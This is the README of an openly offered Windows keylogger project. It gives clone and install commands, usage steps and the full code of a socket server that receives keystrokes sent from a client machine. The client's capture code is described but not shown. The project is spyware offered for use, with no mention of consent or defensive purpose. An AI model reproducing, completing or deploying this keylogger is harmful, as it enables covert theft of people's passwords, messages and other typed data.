Windows Keylogger Project

This project consists of a keylogger designed for Windows systems, split into two main scripts: server.py and client.py. The client.py script logs keystrokes on the client machine, while server.py is used to receive and handle the logged data on the server.

Features

• Logs all keystrokes on the client machine.
• Sends logged data to a remote server.
• Simple and easy to use.

Requirements

• Python 3.x
• pynput library for capturing keystrokes
• socket library for network communication

Installation

1. Clone the repository:

   git clone https://github.com/dan1471/keylogger.git
   cd keylogger-project

2. Install the required libraries:

   pip install pynput

Usage

Server

1. Run the server.py script on the server machine:

   python server.py

2. The server will start listening for incoming connections from the client.

Client

1. Edit the client.py script to include the server's IP address and port.

2. Run the client.py script on the client machine:

   python client.py

3. The client will start logging keystrokes and send the data to the server.

File Descriptions

• server.py: Script to run the server which receives logged keystrokes from the client.
• client.py: Script to run on the client machine which logs keystrokes and sends them to the server.

Example

Running the Server

# server.py

import socket

def start_server():
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind(('0.0.0.0', 5000))  # Bind to all interfaces on port 5000
    server_socket.listen(1)
    print("Server started and listening for incoming connections...")

    while True:
        client_socket, client_address = server_socket.accept()
        print(f"Connection from {client_address} has been established!")
        data = client_socket.recv(1024).decode('utf-8')
        print(f"Received data: {data}")
        client_socket.close()

if __name__ == "__main__":
    start_server()
